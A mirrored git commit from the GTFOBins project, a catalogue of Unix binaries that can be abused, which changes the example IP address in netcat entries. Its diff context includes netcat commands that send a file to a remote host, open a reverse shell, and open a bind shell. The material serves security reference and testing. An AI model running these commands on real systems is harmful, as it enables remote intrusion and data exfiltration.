mirror of
https://github.com/GTFOBins/GTFOBins.github.io
synced 2024-12-25 06:19:27 +01:00
Use the same IP for examples
This commit is contained in:
parent
dc9f4ff42c
commit
4303bf854b
@ -9,7 +9,7 @@ functions:
|
||||
LFILE=file_to_send
|
||||
nc $RHOST $RPORT < "$LFILE"
|
||||
download:
|
||||
- description: Fetch remote file from a remote TCP port. Run `nc 10.0.0.2 8000 < "file_to_send"` to send the file from the other end.
|
||||
- description: Fetch remote file from a remote TCP port. Run `nc 10.0.0.1 8000 < "file_to_send"` to send the file from the other end.
|
||||
code: |-
|
||||
LPORT=8000
|
||||
LFILE=where_to_save
|
||||
@ -21,7 +21,7 @@ functions:
|
||||
RPORT=8000
|
||||
nc -e /bin/sh $RHOST $RPORT
|
||||
bind-shell:
|
||||
- description: Run `nc 10.0.0.2 8000` to connect to the shell on the other end.
|
||||
- description: Run `nc 10.0.0.1 8000` to connect to the shell on the other end.
|
||||
code: |
|
||||
LPORT=8000
|
||||
nc -l -p $LPORT -e /bin/sh
|
||||
|
Loading…
Reference in New Issue
Block a user